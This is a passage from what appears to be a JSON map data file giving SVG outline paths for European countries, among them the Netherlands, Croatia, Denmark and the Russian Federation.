0.76,-2.4 -2.42,-4.6 -1.19,-7.04 1.21,1.81 5.2,-0.98 3.31,2.03 -0.19,2.43 1.93,3.76 3.68,2.84 2.59,0.56 5.12,3.56 7.68,1.11 2.16,-0.17 1.32,-1.39 0.53,-2.64 1.54,-3 5.41,-2.03 8.05,-3.16 1.81,-0.67 4.58,-1.88 5.31,-3.4 -1.75,-1.03 0.04,-4.18 -0.3,-6.15 0.44,-3.1 4.2,-2.36 6.44,-2.8 0.98,0.77 1.49,6.24 4.58,4.17 1.46,-0.35 0.7,4.82 3.67,3.62 -0.14,3.07 3.12,1.53 4.18,2.82 -0.64,1.44 -0.56,1.83 -0.25,2.78 -0.88,2.67 3.93,2.4 4.83,0.49 0.88,1.69 -1.1,3.55 1.66,3.61 2.55,0.29 2.49,4.49 5.21,3.37 2.65,1.52 6.43,-0.33 7.5,3.53 0.45,0.9 2.96,3.41 2.01,0.96 0.54,-1.16 0.79,1.42 0.5,1.49 1.47,-0.3 3.92,-1.81 4.53,0.32 1.92,0.28 7.08,0.84 3.22,2.94 -2.39,2.02 -1.66,5.55 -3.51,7.88 -0.4,2.45 -0.29,5.21 -1.25,7.67 -1.85,0.33 -4.65,-1.22 -4.94,2.33 0.2,1.24 -1.59,3.49 -3.64,4.12 -0.97,0.48 0.4,3.01 -1.75,3.44 -3.21,1.4 -0.53,4.69 -2.87,6.5 1.14,2.08 4.46,-0.29 3.63,-2.44 2.64,-1.79 4.27,0.65 3.32,3.02 0.97,1.33 2.7,2.42 0.16,3.24 -1.7,2.56 4.01,4.8 1.9,7.11 -0.78,1.84 -6.17,0.54 -3.47,3.57 1.68,1.38 4.39,3.16 1.43,4.85 -1.24,3.13 2.12,7 5.6,6.15 2.64,-0.69 -0.62,4.28 -2,4.64 -1.17,-0.72 -4.03,-3.03 -4.38,0.05 0.55,1.28 1.71,2.84 -0.72,3.26 -2.25,0.54 -0.87,3.61 -3.15,2.9 -1.62,1.27 -2.66,0.82 -4.12,0.04 -1.35,1.82 -1.33,-1.1 -3.38,-0.87 -2.84,0.75 -0.64,-3.44 -1.53,-2.84 -0.63,0.89 -3.09,1.3 -1.09,0.56 1.49,-2.74 -3.49,-2.8 -2.54,-0.31 -2.24,0.5 -1.46,-2.79 -1.57,-3.36 -1.08,1.05 -1.96,2.65 -0.52,3.91 -1.04,-0.28 -1.31,-2.83 -3.36,-2.08 -2.5,-1.7 -5.52,-1.71 -6.96,1.2 -2.68,0.79 -5.03,2.02 -5.69,4.77 0.13,1.89 -0.47,3.75 0.65,5.49 -1.42,-0.84 -3.32,-0.38 -4.33,0.88z","name":"France"},"li":{"path":"m296.51,373.48c1.45,1.4 -0.83,3.11 -0.11,0.58 0.04,-0.19 0.08,-0.38 0.11,-0.58z","name":"Liechtenstein"},"nl":{"path":"m269.04,328.72c-2.4,0.87 -0.84,-4.47 0.3,-2.01 0.8,0.23 0,1.75 -0.3,2.01z m-0.07,-3.78c0.6,-3.32 -5.02,-1.6 -5.27,-4.51 -0.12,-2.74 -3.14,1.24 -2.06,-1.29 -0.99,-0.79 -2.22,1.2 -3.22,-0.45 -0.9,0.27 -1.14,2.68 -1.08,0.81 0.68,-2.17 -1.32,-2.87 -3.53,-3.17 2.34,0.11 2.58,-2.07 3,-3.35 2.89,-2.17 4.59,-5.57 4.61,-9.18 -0.19,-3.29 4.06,-0.89 5.3,-3.43 1.14,-2.76 4.56,-2.87 7.04,-3.65 2.21,-0.91 4.28,0.51 5.07,2.25 2.56,1.19 -1.21,4.26 -0.45,6.54 -1.09,0.31 -2.87,-0.17 -2.83,1.81 -1.46,0.58 -1.58,0.91 0.09,0.93 3.35,-0.05 2.57,4.59 -0.38,4.58 -2.35,0.19 2.62,1.25 -0.12,2.19 -2.05,1.07 -3.43,-1.35 -5.33,0.59 -1.38,2.19 2.97,4.39 0.94,6.8 -0.8,0.77 -1.72,1.2 -0.27,1.66 -0.44,0.36 -0.82,1.02 -1.51,0.87z m-14.99,-3c-0.33,-1.2 -5.07,-0.99 -2.8,-1.87 1.14,1.13 2.85,1.22 3.93,0.81 -0.06,0.56 -0.57,1.04 -1.13,1.06z m0.03,-2.7c-1.37,-0.05 -4.02,-1.94 -1,-1.43 0.49,-0.33 2.23,1.73 1,1.43z","name":"Netherlands"},"ba":{"path":"m376.75,425.9c-1.98,-1.6 -4.83,-1.93 -6.41,-4.05 -1.67,0.65 -0.52,0.38 -0.54,-0.48 -1.09,-2.31 -4.84,-2.74 -4.68,-5.7 -3.06,-0.33 -4.09,-3.71 -6.36,-5.29 -1.63,-1.9 -4.06,-2.19 -3.82,-4.87 -1.04,-2.44 -3.06,-3.46 -4.21,-5.63 -0.7,-2.04 0.84,-4.87 2.73,-2.36 1.15,1.84 2.68,1.49 3.04,-0.59 0.75,-2.51 2.6,0.54 3.87,-1.57 1.61,1.11 3.76,0.32 5.58,0.98 1.67,0.69 2.8,0.63 3.98,-0.64 1.28,0.32 2.43,1.79 1.94,-0.33 2.34,0.41 3.8,0.76 5.26,2.77 1.51,0.59 4.58,-2.46 3.33,0.9 -1.48,2.62 -1.55,6.27 2.2,6.4 -0.16,1.48 3,1.5 0.7,2.04 -2.41,-1.63 -1.77,2 -0.04,2.77 1.22,1.2 1.32,2.1 -0.54,1.97 -0.8,1.43 -2.82,1.15 -3.55,0.9 0.15,1.26 1.77,2.85 -0.32,2.67 -1.22,1.98 -1.74,4.24 -3.03,5.92 0.2,1.48 1.25,2.79 0.88,4.2z","name":"Bosnia and Herzegovina"},"si":{"path":"m332.96,393.93c-2.25,0.07 3.69,-1.78 0.33,-3.25 -2.05,-0.05 -1.39,-3.19 -2.18,-3.5 2.21,-1.77 -0.2,-2.6 -1.36,-3.11 1.58,-3.35 4.85,-1.64 7.7,-1.58 3.3,1.9 3.73,-4.65 7.02,-2.86 2.43,0.1 4.45,-1.78 6.8,-1.33 -0.07,-1.25 0.26,-3.28 1.79,-1.82 0.58,1.34 2.29,2.96 -0.11,2.97 0.07,3.17 -6.44,2.43 -4.97,6.04 0.89,1.87 0.62,3.86 -1.85,3.13 -2.37,0.85 1.33,6.35 -2.15,4.17 -1.76,0.02 -2.78,0.57 -3.81,-1.48 -1.83,-1 -1.59,2.92 -3.88,1.76 -1.41,-0.46 -2.2,0.65 -3.34,0.85z","name":"Slovenia"},"mk":{"path":"m403.18,443.19c-1.28,-0.84 -1.77,-0.72 -3.14,-0.4 -2.27,-2.33 -2.73,-5.58 -2.85,-8.64 -1.26,-2.44 2.39,-0.6 1.33,-3.13 0.23,-2.42 3.43,-3.85 5.06,-1.8 1.38,1.18 -1.35,-3.28 1.33,-2.73 2.83,0.6 4.67,-2.89 7.49,-1.79 1.51,2.18 4.77,1.95 5.79,4.72 1.29,2.63 0.37,4.95 -1.12,7.01 -1.05,2.69 -5.33,0.11 -7.05,2.7 -0.97,2.88 -4.09,3.39 -6.84,4.04z","name":"Macedonia"},"hr":{"path":"m375.93,426.49c-1.17,-0.64 -1.03,-0.77 0,0z m-5.08,-2.9c-0.73,0.27 -1.25,-2.08 0,0z m-2.28,-1.81c-3.23,-1.04 -5.06,-4.7 -8.53,-5.08 -1.74,-1.23 -4.13,-1.36 -6.19,-0.38 -0.54,-3.7 -5.51,-3.9 -7.37,-6.92 -1.68,-2.86 2.16,-0.38 2.91,-1.43 -1.18,-2.05 -5.06,-2.05 -5.62,-5.05 0.07,-2.45 -0.12,-5.23 -2.77,-6.41 -1.46,-3.02 -5.35,-1.33 -4.75,1.8 -0.1,1.22 -1.81,1.15 -1.78,3.18 -0.42,-0.02 -2.43,-3.25 -2.8,-4.77 0.5,-1.41 -1.33,-2.59 0.97,-1.85 1.93,-0.05 3.32,-1.26 5.49,-0.87 1.75,-0.28 1.19,-2.99 2.55,-0.54 1.83,1.65 2.98,0.1 5.14,0.7 1.63,-0.59 0.6,-2.35 1.05,-3.41 -2.13,-1.84 3.84,-0.57 2.93,-3.42 -1.1,-1.62 -1.88,-3.53 0.82,-4.04 1.16,-1.26 3.54,-0.9 3.14,-3.3 3.59,0.79 6.21,3.61 8.62,6.19 2.91,-0.18 5.33,2.55 8.31,1.69 2.32,0.95 5.06,-5.2 5.33,-0.4 0.15,1.9 1.2,2.64 1.4,4.46 1.55,0.76 2.24,0.37 1.04,2.01 -0.17,1.69 1.08,1.86 -0.44,2.99 -1.42,0.96 -2.53,-3.66 -4.34,-2.06 -2.98,-1.4 -5.14,1.63 -8.13,0.38 -2.22,0.17 -4.52,-1.28 -6.44,-0.34 -1.8,-0.84 -3.54,0.72 -3.99,2.64 -1.51,-1.59 -4.97,-3.78 -5.35,0.02 -1.16,3.92 2.99,5.58 4.38,8.58 -0.13,1.41 -1.05,2.05 0.83,2.59 2.9,1.5 4.8,4.21 6.98,6.53 2.65,1.59 3.98,4.49 6.78,6.28l-0.16,0.23 0,0z","name":"Croatia"},"dk":{"path":"m311.37,281.37c-1.81,-0.13 -3.63,-2.95 -0.99,-2.75 0.71,0.89 2.21,0.72 1.2,1.27 0.93,0.68 0.95,1.07 -0.21,1.48z m2.12,-1.04c1.35,-0.18 -0.34,1.13 0,0z m0.84,-0.24c-0.07,-1 -2.35,-2.59 0.16,-1.62 2.08,0.28 -0.51,1.71 -0.16,1.62z m-17.99,-0.84c-2.31,-0.88 -6.15,-0.22 -4.5,-3.71 0.81,-2.84 -1.69,-4.3 -3.84,-4.7 -1.19,-2.12 0.77,-2.92 1.79,-2.7 1.1,-1.9 -0.71,-4.04 -1.69,-4.68 0.35,-1.37 0.2,-5.41 0.68,-4.97 1.59,3.78 6.34,-5.25 4.96,-0.56 0.24,2.86 4.45,-0.07 2.01,-1.61 0.04,-2.03 -0.06,-3.57 2.27,-2.05 0.18,-1.79 3.93,-0.45 2.6,-2.4 -2.36,-1.07 -4.97,1.4 -7.44,0.51 -0.9,0.41 -2.06,0.6 -1.03,-0.46 2.89,0.74 6.43,-0.56 7.07,-3.76 0.42,-1.7 4.2,-3.59 3.75,-0.9 2.01,1.66 -0.21,4.73 -1.55,6.01 0.4,0.87 0.32,2.52 0.39,3.1 -1.16,1.34 2.36,4.31 4.12,3.09 1.32,1.67 -1.85,5.56 -2.69,2.65 -3.21,0.21 -0.77,4.74 -2.69,6.35 -0.74,1.02 -5.24,-0.82 -2.77,1.37 1.61,1.85 3.89,1.32 5.37,0.39 1.04,1.32 2.66,0.54 1.88,1.61 2.2,1.44 0.71,6.32 -1.89,3.8 -0.99,-0.9 -2.97,-2.42 -3.55,-4.38 -0.8,-2.14 -4.39,1.02 -3.28,1.06 2.19,-0.86 -0.04,1.87 1.38,2.68 -1.87,1.01 -1.25,3.06 -0.58,3.35 -0.3,0.27 -0.55,0.59 -0.78,0.92z m18.96,-2.29c-1.92,-0.02 -1.04,-3.7 -3.92,-2.81 -3.51,-0.09 0.22,-3.64 -2.76,-5.02 -1.79,-1.21 3.2,0.15 3.13,-2.28 0.04,-2.46 4.91,0.23 1.92,1.9 1.06,2.45 3.33,-0.76 2,-2.36 -0.51,-1.34 -2.25,-2.02 0.21,-1.96 2.33,-0.37 1.21,1.23 1.29,2.13 2.22,2.03 -1.98,3.78 -1.88,4.86 2.05,0.87 2.04,2.76 -0.28,2.66 -0.97,0.83 0.11,2.08 0.29,2.88z m-25.23,-19.54c-1.89,-1.51 1.09,-5.6 1.21,-4.99 -1.52,1.21 -1.11,3.3 -1.21,4.99z","name":"Denmark"},"ru":{"path":"m558.98,364.3c-2.56,-0.91 -4.97,-2.14 -7.36,-3.43 -2.39,-1.15 -4.94,-2.06 -7.59,-2.35 -2.81,2.28 -5.5,-0.94 -8.06,-1.85 -1.23,0.3 0.78,2.15 -1.52,1.8 -2.42,-0.25 -3.69,-3.69 -6.4,-2.82 -1.31,0.16 -4.41,0.18 -1.55,-0.66 1.64,-0.7 0.81,-3.34 -0.75,-1.74 0.37,-1.63 2.93,0.94 3.87,-1 1.25,-0.31 2.74,-1.24 3.63,-1.06 1.16,-2.32 -3.44,-3.39 -1.08,-5.92 0.57,-0.81 -0.94,-4.08 0.12,-2.72 0.39,2.37 2.24,1.11 1.25,-0.78 -1.26,-3.41 3.86,0.53 3.04,-2.81 -1.97,-1.81 -4.99,-1.7 -7.55,-2.54 -2.06,-0.94 2.06,-1.24 1.86,-3.16 2.06,1.7 4.87,-1.76 1.32,-1.4 -0.21,-1.02 3.11,-2.69 3.56,-4.64 3.16,0.27 3.03,-5.1 -0.28,-4.48 -2.62,0.21 -2.08,3.91 -4.95,4.14 -2.31,1.85 -0.59,-0.97 -1.26,-1.15 -2.27,0.02 -1.28,-3.82 0.48,-4.34 1.4,-2.13 0.73,-5.08 4.3,-4.68 2.91,0.1 4.24,-2.66 2.99,-5.05 -0.44,-0.81 1.31,-4.54 -0.5,-3.12 -0.89,0.38 -1.08,-3.79 -3.06,-2.28 -2.61,-1.85 3.34,-2.5 1.03,-4.59 -1.03,0.14 -4.3,0.91 -2.02,-0.74 1.96,-2.14 1.02,-4.53 -0.68,-6.4 1.16,-2.59 -2.93,-0.35 -3.64,0.61 0.41,-2.95 -3.61,-0.32 -4.74,-2.01 -1.3,0.69 -2.17,2.73 -3.44,0.57 -1.62,0.46 -2.9,0.42 -4.52,-0.03 -1.18,0.97 0.35,3.57 -1.91,1.94 -2.66,-0.03 -3.84,-4.48 -6.19,-3.24 -2.12,0.99 -3.16,6.03 -6.01,3.79 -0.55,1.88 -3.23,-1.75 -4.12,0.93 -2.26,2.15 -4.17,-0.6 -4.14,-2.64 -1.31,-0.74 -1.67,-2.47 -1.76,-3.17 -1.84,0.68 -2.55,-1.54 -3.04,-1.81 -1.53,1.29 -5.9,2.64 -6.27,0.53 -0.46,-1.43 -3.35,-2.71 -0.58,-3.43 0.87,-2.91 -3.85,-2.55 -4.29,-5.27 -1.34,-1.28 -2.82,-2.7 -4.07,-0.62 -2.6,-1.29 -3.34,1.16 -4.86,2.57 -2.29,-0.64 -4.88,0.47 -3.99,3.28 -1.64,3.09 -5.33,-1.16 -5.28,-3.38 0.29,-1.54 -1.99,-0.85 -0.93,-2.73 -1.04,-1.23 -5.06,-2.53 -2.44,-4.58 2.85,1.31 6.86,-0.11 6.98,-3.34 2.36,-1.51 -0.16,-3.89 -1.6,-4.2 -0.58,-2.91 -4.71,-0.88 -5.61,-1.07 0.65,-2.69 -1.62,-3.41 -3.71,-3.4 -2.11,-1.16 -3.32,-2.8 -3.81,-4.83 -2.42,0.17 -3.41,-1.67 -2.18,-3.83 -0.02,-1.71 -2.9,-2.44 -1.99,-4.84 -0.01,-1.79 -0.45,-2.87 -2.15,-2.08 -2.12,-2.07 -5.85,-2.66 -7.51,0.31 -0.95,2.92 -2.17,-0.33 -1.92,-1.55 -1.94,-2.34 -4.43,2.65 -5.64,-0.22 -1.71,0.04 -3.09,1.26 -3.28,-1.31 -0.9,-2.65 -2.85,-5.01 -4.71,-6.53 -1.83,-1.02 1.04,-5.27 -2.45,-5.76 -1.67,-0.51 -0.04,-2.71 -2.19,-1.57 0.05,-1.42 0.26,-2.99 1.68,-3.72 -0.54,-0.99 -1.34,-2.16 -1.45,-2.96 -2.84,-0.69 -1.01,-4.26 -2.77,-5.86 -2.08,-2.24 0.85,-4.53 0.39,-6.92 -1.01,-2.41 3.22,-2.6 0.55,-4.16 -0.83,-1.3 -2.35,-4.31 0.18,-2.28 1.51,-0.56 0.02,-3.79 2.55,-2.16 2.03,-0.4 0.55,-4.34 3.6,-3.39 1.61,0.41 6.06,0.64 4.72,-1.87 -2.47,0.38 -3.46,-3.31 -5.66,-1.7 -1.73,1.59 -3.35,0.22 -4.28,-0.75 -2.83,1.04 -0.5,-5.97 -3.43,-3.33 -0.79,1.95 -3.72,3.09 -1.67,0.48 4.94,-7.07 7.08,-15.55 9.98,-23.55 0.44,-3.03 2.51,-7.51 -0.31,-9.8 -2.38,-1.89 -5.29,-2.93 -7.96,-4.32 -3.88,-1.06 2.38,-6.07 -1.12,-8.02 -2.45,-0.36 -4.96,-1.94 -3.33,-4.47 -1.48,-1.21 -6.02,-2.28 -3.05,-4.86 0.42,-0.7 -3.23,-0.64 -2.08,-2.79 0.39,-2.06 -0.85,-2.94 1.09,-3.89 -0.82,-2.4 -2.73,-4.51 -4.14,-6.68 -1.51,-2.32 -3.78,-4.06 -5.41,-6.21 -0.98,-3.34 2.21,-6.3 1.62,-9.59 -0.91,-2.31 -3.95,-2.73 -4.86,-5.04 -3.1,0.98 -6.11,-2.82 -4.58,-5.63 1.26,-2.13 -3.52,-2.39 -0.66,-3.49 1.51,-2.49 0.64,-5.59 3.12,-7.72 -0.6,-2.56 3.46,0.62 3.16,-2.41 -2.11,-2.17 1.85,-1.54 2.99,-1.35 2.03,1.63 4.11,1.29 6.52,0.08 0.37,0.23 -0.76,2.57 1.13,2.81 -1.22,0.77 -1.32,4.65 0.4,2.88 0.2,-1.73 1.36,-3.42 1.9,-5.04 3.21,0.08 6.07,-1.95 9.29,-1.34 2.75,0.76 5.58,1.26 8.28,2.2 2.14,0.82 4.03,2.32 6.18,3.01 2,-1.35 5.54,1.61 7.21,-0.07 2.23,0.7 3.31,3.46 5.54,1.69 1.16,1.01 0.65,2.43 2.18,2.82 1.01,2.1 3.8,2.21 3.29,5.21 -0.09,3.44 0.15,7.2 -2.11,10.07 -2.26,3.09 -6,5.79 -10.02,4.97 -2.84,-0.74 -5.34,0.99 -8.08,1.16 -2.01,0.97 -5.49,-2.15 -6.54,-0.13 -1.33,0.97 -2.24,-0.89 -2.89,-1.46 -1,2.57 -7.21,1.52 -6.06,-1.62 -0.53,-0.64 -4.07,0.19 -5.44,0.48 -1.33,1.22 -0,2.41 1.25,1.32 2.16,-0.38 0.62,2.19 3.06,2.74 1.23,1.53 6.57,0.25 5.42,2.51 -1.91,3.1 2.22,0.91 3.81,1.72 2.09,0.58 5.78,2.19 4.56,4.13 2.75,1.59 0.23,3.96 -0.48,5.25 2.3,-0.18 4.43,1.99 4.35,4.27 2,-0.84 0.78,1.8 1.68,2.47 0.1,3.23 4.49,3.53 6.69,2.22 2.28,0.22 3.06,3.83 6.02,2.68 3.14,0.7 6.51,-0.4 7.17,-3.81 0.24,-2.71 -4.02,-6.69 -5.49,-3.3 -2.65,0.34 -5.44,-2.93 -6.7,-4.13 2.45,-0.62 0.68,-2.65 0.87,-3.74 2.98,-0.53 5.18,2.7 8.25,1.24 2.42,-0.59 5.57,1.81 7.6,-0.26 0.47,-1.42 5.9,0.3 3.69,-2.76 -1.12,-2.61 -3.65,-4.39 -6.37,-5.3 -3.26,-1.55 -1.48,-4.68 -0.67,-7 0.13,-2.98 3,-4.72 3.48,-7.44 -0.29,-1.95 -0.01,-6.22 2.42,-3.58 1.94,-2.25 5.82,-1.29 7.83,0.68 1.2,2.1 3.32,0.53 1.22,-1.06 -2.48,-1.87 -1.81,-4.87 -2.24,-7.47 -1.88,-1.57 -2.53,-5.38 -5.87,-5.07 -3.66,0.72 -1.05,-5.18 -3.4,-6.67 -1.19,-0.92 0.46,-3.75 -1.48,-3.55 -1.01,-2.39 -5.64,-2.94 -6.17,-3.55 2.64,0.97 4.98,-0.76 6.95,-2.52 2.55,-2.21 4.69,1.32 7.17,1.82 2.66,0.14 2.98,2.58 0.58,3.55 -1.44,1.01 -3.37,2.5 -1.86,4.15 -2.05,2.82 1.45,5.04 4.18,4.46 2.24,0.66 3.9,4.74 5.89,0.83 -0.45,2.74 1.7,0.82 1.6,-0.76 0.67,-1.92 4.97,-2.44 2.12,-4.7 -0.88,-2.08 -0.93,-5.08 -2.83,-6.29 1.51,-0.41 1.74,-3.36 4.33,-3.14 0.74,-1.52 -4.26,-0.47 -1.65,-2.01 1.38,-2.03 1.95,-4.13 2.25,-6.48 -0.71,-3 2.32,-4.04 2.61,-6.78 0.79,-1.07 0.87,-3.3 2.02,-0.85 0.37,3.39 3.79,-1.54 1.28,-2.71 -2.87,-0.55 -1.44,-3.38 -0.47,-5.41 0.59,0.58 1.75,-1.54 1.49,0.66 0.07,2.26 4.9,2.03 2.07,4.51 -3.06,1.89 2.52,2.73 3.16,0.29 0.8,-0.58 2.28,-0.85 1.45,-2.12 2.18,1.11 3.08,-1.11 1.14,-2.24 -0.63,-3.15 1.27,-6.2 4.04,-7.12 3.15,-0.33 1.76,-4.5 2.46,-6.7 2.68,1.91 1.44,-1.23 0.17,-1.57 -0.24,-1.73 3.07,-1.64 3.49,-0.99 -0.52,3.68 4.93,5.45 5.98,1.6 -0.74,-2.19 -4.02,-2.52 -1.51,-4.94 1.37,-2.71 -0.97,-5.14 -3.64,-5.47 -2.06,-0.69 -6.98,-0.83 -4,-3.86 -2.84,-2.24 1.77,-2.66 3.14,-4.1 2.67,-3.27 6.84,-5.01 10.97,-5.41 2.08,0.66 3.04,-0.42 5.04,-0.78 3.26,-0.69 5.53,-2.7 8.88,-1.89 1.83,0.09 3.72,-0.92 5.18,-0.23 3.3,-0.51 -0.59,-3.78 0.31,-4.05 7.13,0.01 14.26,-0.01 21.38,0.01 2.09,0.14 -2,3.01 0.93,2.93 1.33,0.5 2.97,0.39 1.78,1.28 0.04,1.2 -0.09,5.95 -1.36,3.75 0.88,-1.97 -1.47,-3.03 -1.4,-0.65 -0.13,1.49 -3.77,0.21 -3.69,2.55 -3.37,1.5 0.23,4.73 2.72,4.05 3.82,-0.71 6.21,-3.84 8.09,-6.94 1.84,-0.32 4.98,-2.24 2.66,-4.31C557.34,3.94 555.66,1.55 558.62,2.18c40.17,0 80.35,0 120.52,0 0,32.42 0,64.83 0,97.25 -2.09,0.36 -2.95,2.3 -1.54,3.74 -2.44,-1.53 -2.16,1.82 -2.17,2.03 -1.83,-0.06 -0.41,-2.79 -2.86,-3.06 -0.55,-1.54 -1.56,-2.65 -3.54,-1.77 -1.52,-1.23 -4.42,-2.86 -6,-3.08 -2.3,1.54 0.4,6.71 -3.71,5.55 -1.63,0.21 -3.74,1.9 -3.4,2.86 -1.22,-0.25 -2.92,1.14 -1.43,2.07 -2.82,1.19 1.7,2.9 -0.94,4.55 -2.72,2.09 2.48,0.44 1.29,3.06 -2.53,0.4 -0.3,2.61 -2.09,4 -0.4,3.26 -2.41,5.93 -3.86,8.82 0.28,0.79 -3.1,0.12 -1.27,1.6 -1.02,2.01 -3.11,4.53 -0.2,6.39 -2.52,0.22 -3.43,3.38 -5,5.17 -0.91,1.5 1.12,2.54 -1.32,2.93 -1.23,2.37 -2.15,5.27 -3.97,7.32 1.46,1.7 -3.54,1.33 -2.2,4 0.89,0.84 -2.06,0.35 -2,1.51 -2.16,-0.19 -3.58,4.12 -1.57,4.8 2.75,-1.67 -0.46,5.07 2.92,2.57 1.47,-1.64 1.11,3.68 3.89,2.06 1.15,-1.3 4.64,-3.43 5.55,-1.97 -0.97,2.34 -5.83,2.91 -5.32,5.59 1.65,1.51 -1.67,5.32 2.05,4.87 0.58,1.25 3.67,-0.2 3.17,2.56 -0.46,2.07 -2.09,3.57 -1.96,5.92 -2.28,1.79 1.99,3.07 3.27,1.27 1.22,3.88 3.54,-2.53 5.73,-0.07 1.71,0.15 3.48,-3.04 4.82,-0.75 0.7,2.54 3.93,4.85 1.33,7.39 -0.96,2.05 -3.49,5.21 -5.83,2.98 -2.18,1.39 0.8,4.71 -0.35,6.74 -1.64,-3.35 -4.19,2.67 -7,1.13 -1.58,0.37 -1.77,-1.65 -2.62,-1.81 -0.7,0.72 -4.76,0.36 -3.34,1.66 -0.36,0.87 -3.77,2.22 -1.73,4.23 -0.31,2.89 -2.88,-1.51 -4.31,1.09 -1.46,1.61 -3.55,2.49 -3.46,4.75 -0.41,1.43 -0.54,3.48 -0.05,5.34 -0.27,1.74 -0.64,1.81 -2.46,1.7 -2.35,1.24 -5.67,-2 -7.94,0.36 -1.02,1.19 0.11,2.72 -2.11,2.54 -1.91,-2.74 -5.13,1.42 -6.94,-1.53 -3.68,-1.24 -4.83,6.16 -8.08,2.91 -0.68,-0.31 -3.05,-3.22 -2.23,-1.07 0.44,2 -3.21,4.32 -1.91,5.59 -1.58,-0.54 -1.24,3.52 -1.64,0.7 -1.39,-2.07 -3.9,0.94 -5.63,0.87 0.37,1.37 0.82,0.9 -0.34,1.77 -0.21,2.03 1.56,4.11 -0.43,6.09 -0.26,2.82 -3.85,3.15 -3.39,6.04 1.82,1.79 -0.1,4.43 -1.07,6.43 -3.76,0.87 1.99,2.12 2.03,4.1 0.89,1.78 3.76,2.19 1.71,4.57 -2.3,2.9 -5.15,-1.81 -7.83,-2.01 -3.78,-1.12 -4.32,3.77 -2.19,5.82 -2.31,2.78 -0.33,6.19 0.38,9.1 0.77,1.86 4.43,0.77 3.16,3.54 -0.62,2.49 -0.11,4.99 0.21,7.43 1.17,3.44 5.88,-1.22 6.9,2.2 0.63,0.39 -1.33,1.3 0.64,1.71 0.61,2 4.71,2.89 4.1,0.07 2.42,-0.19 4.16,-3.38 6.65,-1.26 2.61,1.3 4.67,3.68 7.51,4.49 2.44,-0.41 2.29,3.63 -0.15,2.17 -3.16,1.33 0.69,4.72 2.95,3.33 2.69,-1.74 4.67,2.16 2.98,3.28 -1.53,-1.48 -3.23,1.37 -1.51,2.46 -1.66,0.09 -1.17,4.59 -3.15,5.57 -2.16,-0.57 -0.01,3.21 -2.03,1.18 -1.51,-0.51 -1.63,0.74 -2.82,1.17 0.46,1.78 3.76,-0.82 2.44,1.78 0.45,1.46 -0.73,2.48 0.5,3.94 -0.91,1.42 1.06,4.29 -0.87,5.01 0.89,2.05 -1.39,4.46 -0.11,6.57 1.6,2.36 2.84,-1.08 4.63,0.84 2.19,0.61 6.36,2.5 5.42,5.48 1.51,1.9 3.6,2.8 3.89,5.79 1.08,1.98 3.28,1.24 4.3,3.24 2.25,0.68 4.45,1.39 6.37,2.79 1.16,1.48 3.78,2.23 4.69,2.86 -0.38,2.65 -2.37,5.25 -1.49,7.93 0.05,2.46 -6.1,4.34 -5.15,1.14 -2.52,-0.74 -5.24,-0.5 -7.55,-1.88 -1.49,0.54 -3.24,0.69 -4.5,0.55 -1.71,1.13 -6.19,1.11 -5.4,-1.84 -0.88,-3.94 -4.63,1.38 -6.95,-0.97 -1.81,-1.22 -2.73,1 -2.64,2.13 -3.4,-2.47 -4.1,3.12 -6.37,4.33 -1.56,1.14 -0.42,-3.07 -2.75,-1.69 -2.4,0.37 -5.28,1.01 -7,-0.66 -2.78,0.67 -5.63,0.98 -8.42,1.61 1.94,1.66 -2.76,2.56 -3.79,2.43 -2.67,-0.72 -5.06,0.99 -7.69,0.02 -2.34,1.37 -6.27,0.31 -6.05,4.11l-0.04,0.01 0,0z m57.81,-33.85c-0.89,-1.57 0.49,-2.17 0,0z m-241.23,-51.26c-1.5,-0.26 -4.88,0.4 -5.3,-0.46 2.59,-1.58 -0.9,-5.56 2.71,-5.44 2.09,-0.97 5.31,1.36 6.88,-1.15 -0.17,-1.75 -1.39,-4.59 1.04,-3 2.58,1.66 5.83,-0.05 8.09,1.03 2.4,1.17 -0.19,4.14 1.51,6.12 -0.91,2.05 -4.72,1.7 -6.85,2.38 -2.67,0.39 -5.38,0.53 -8.08,0.53z m245.17,-54.27c-0.96,-0.5 -1.79,-4.14 -0.7,-1.7 0.41,0.34 1.1,1.13 0.7,1.7z m15.47,-62.08c-0.5,-1.68 1.86,0.26 0,0z M392.43,81.96c-1.18,-1.24 -0.52,-3.74 1,-1.58 0.97,0.64 4.51,-0.85 3.11,1.22 -1.28,-0.1 -4.06,-2.2 -4.11,0.36z m69.72,-22.48c-3.13,-0.37 -5.18,-4.96 -3.51,-7.6 1.49,-0.95 5.9,-1.19 6.08,0.31 -0.75,2.23 0.93,5.01 -1.2,6.83 -0.37,0.32 -0.88,0.46 -1.36,0.46z m1.2,-32.66c0.64,-1.98 -0.94,-1.7 -1.81,-2.37 0.83,-0.97 3.57,-1.76 1.01,-2.23 -1.29,0.52 -2.78,0.7 -3.28,0.14 -1.2,0.89 -3.04,-4.18 -2.96,-0.9 1.94,3.97 -3.66,-2.01 -2.98,1.25 2.3,2.87 -2.86,2.37 -3.53,0.29 -1.84,-1.41 -2.9,-5.04 0.07,-4.98 -0.36,-1.21 -1.52,-2.86 -0.18,-4.45 -3.01,0.94 -0.61,-2.79 -2.49,-3.65 -1.26,2.21 -4.03,0.25 -1.58,-1.13 2.3,-1.91 -4.09,-1.91 -1.43,-4.6 0.66,-1.81 2.03,-2.29 3.79,-2.01 1.73,-0.33 3.25,0.66 4.85,0.17 2.53,-1.3 -3.03,3.08 0.48,2.2 3.11,-1.44 -1.22,5.41 2.65,3.83 2.34,0.52 1.33,4.72 3.21,4.64 2.81,0.65 4.59,3.49 7.55,3.98 2.95,1.5 6.52,1.02 9.42,1.43 -0.95,0.85 -5.31,2.46 -4.34,3.45 -1.86,0.24 -4.2,1.89 -2.01,3.36 -1.56,0.82 -3.63,-0.42 -4.9,1.06 -0.87,-0.61 -1.05,-0.3 -1.52,0.53z m23.35,-5.93c-1.68,-0.42 -4.33,-0.5 -2.76,-2.36 -1.89,0.07 -1.65,-3.14 0.36,-1.62 2.48,0.8 5.12,0.27 7.63,0.6 2.21,1.62 -2.46,4.83 -3.16,1.83 -0.45,0.12 -0.96,1.84 -2.07,1.55z","name":"Russian Federation"},"mt":{"path":"m343.65,509.08c-1.52,-0.23 -1.75,-0.24 0,0z m1.95,2.72c-1.32,-0.63 -1.5,-0.7 0,0z","name":"Malta"},"me":{"path":"m385.29,433.13c-1.98,-1.45 -3.12,-5.3 -6.16,-4.27 -0.68,-0.6 -0.46,-1.87 -1.44,-2.17 0.16,-1.66 0.06,-3.3 -0.89,-4.86 1.96,-1.05 1.28,-4.74 3.12,-5.09 1.81,3.01 2.14,-1.15 0.71,-2.43 2.24,-0.2 3.4,-2.11 5.57,-0.36 3.49,0.56 2.95,4.72 